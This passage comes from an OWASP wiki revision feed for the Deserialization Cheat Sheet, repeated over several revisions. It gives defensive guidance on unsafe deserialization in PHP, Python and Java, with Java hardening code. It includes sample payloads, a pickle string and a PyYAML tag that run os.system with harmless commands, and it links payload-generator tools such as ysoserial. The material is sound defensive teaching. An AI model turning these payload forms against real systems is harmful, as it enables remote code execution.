* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240691</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240691"/>
				<updated>2018-05-14T00:34:44Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: tra&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240690</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240690"/>
				<updated>2018-05-14T00:34:02Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: transient&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For a class that defined as Serializable, the sensitive information variable should be declared as 'private transient'.&lt;br /&gt;
For example, the class myAccount, the variable 'profile' and 'margin' were declared as transient to avoid to be serialized.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class myAccount implements Serializable&lt;br /&gt;
{&lt;br /&gt;
    private transient double profit; // declared transient&lt;br /&gt;
    &lt;br /&gt;
    private transient double margin; // declared transient&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
